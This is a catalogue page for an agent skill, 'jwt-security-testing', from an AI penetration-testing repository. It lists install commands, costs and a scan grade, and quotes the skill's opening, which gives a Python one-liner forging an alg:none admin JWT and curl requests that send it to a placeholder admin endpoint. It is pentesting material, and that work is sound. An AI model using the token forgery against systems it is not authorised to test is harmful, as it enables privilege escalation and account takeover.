xalgorix/xalgorix is a self-hosted AI penetration-testing tool in which an LLM agent performs reconnaissance, looks for vulnerabilities, and coordinates exploitation, while a separate verifier re-tests findings before reporting them. It is for security teams, ethical hackers, and bug bounty work using a private, bring-your-own-LLM setup. The catalogue skills extend the agent's pentesting workflow.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/xalgorix/xalgorixnpx agentmods add skills/xalgorix/xalgorix/jwt-security-testingWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/xalgorix/xalgorix/jwt-security-testing)<a href="https://agentmods.dev/skills/xalgorix/xalgorix/jwt-security-testing"><img src="https://agentmods.dev/badge/skills/xalgorix/xalgorix/jwt-security-testing/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/xalgorix/xalgorix/jwt-security-testing"><img src="https://agentmods.dev/badge/skills/xalgorix/xalgorix/jwt-security-testing.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00033 | $0.01555 |
| Opus 5.5 | $0.00013 | $0.00622 |
| Sonnet 5.5 | $0.00007 | $0.00311 |
| Haiku 4.5 | $0.00003 | $0.00155 |
Grade A, and why
jwt-security-testing scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sk "https://TARGET/api/admin/users" | jq .status How it starts
The opening of the file, as written. The whole thing — 153 lines — stays where its author put it; the contents beside it link to each section on GitHub.
JWT Security Testing
Purpose
Test JWT implementations for signature validation bypasses, claim tampering, algorithm downgrades, and cross-service token acceptance.
Preconditions
- At least one valid JWT token (operator-supplied, intercepted, or from a login)
- Ability to send requests with the target's auth mechanism (Bearer header, cookie, custom header)
Attack Surface Signals
- JWT tokens in Authorization headers, cookies, or URL parameters
algfield in decoded header- Tokens that persist across sessions
- Multiple services sharing the same token issuer
Methodology
Decode and Analyze the Token First
# Decode header and payload (never paste real tokens into online tools)
echo "eyJ..." | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo "eyJ..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
Record: algorithm, issuer, audience, expiry, subject, role claims, custom claims.
alg:none Attack
# Forge a token with alg:none and modified claims
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin','exp':9999999999}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"
Send the forged token to a protected endpoint. CRITICAL: A 200 response does NOT prove the attack worked. You must verify:
- The CONTROL: the same endpoint WITHOUT the token (or with an invalid token) returns 401/403
- The forged token changes the identity/privilege: the response returns data belonging to the forged
sub, or grants access to admin-only resources - The forged claims were actually HONORED (not just parsed and ignored)
# CONTROL: anonymous request should be denied
curl -sk "https://TARGET/api/admin/users" | jq .status
# ATTACK: forged token
curl -sk -H "Authorization: Bearer FORGED_TOKEN" "https://TARGET/api/admin/users" | jq .
# VERIFY: does the response contain data the original user could NOT access?
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 153 lines · 33 tokens per session scan A 0dac4dec60a1
jwt-security-testing is a skill published in the GitHub repository xalgorix/xalgorix (1,531 stars, last pushed yesterday), licensed Apache-2.0. It adds 33 tokens to every session and 1,555 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-29.
jwt-security-testing compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| jwt-security-testingxalgorix/xalgorix | Skill | 1.5k | yesterday | Apache-2.0 | A | 33 | Claude Code, Codex |
| cis-aws-foundations-6.5CyberStrikeus/CyberStrike | Skill | 3.8k | today | AGPL-3.0 | A | 23 | Claude Code, Codex |
| cis-aws-foundations-2.1.1CyberStrikeus/CyberStrike | Skill | 3.8k | today | AGPL-3.0 | A | 19 | Claude Code, Codex |
| cis-aws-foundations-2.4CyberStrikeus/CyberStrike | Skill | 3.8k | today | AGPL-3.0 | A | 20 | Claude Code, Codex |
| cis-aws-foundations-2.7CyberStrikeus/CyberStrike | Skill | 3.8k | today | AGPL-3.0 | A | 24 | Claude Code, Codex |
| cis-aws-foundations-6.1.2CyberStrikeus/CyberStrike | Skill | 3.8k | today | AGPL-3.0 | A | 25 | Claude Code, Codex |
| cis-aws-database-3.1CyberStrikeus/CyberStrike | Skill | 3.8k | today | AGPL-3.0 | A | 17 | Claude Code, Codex |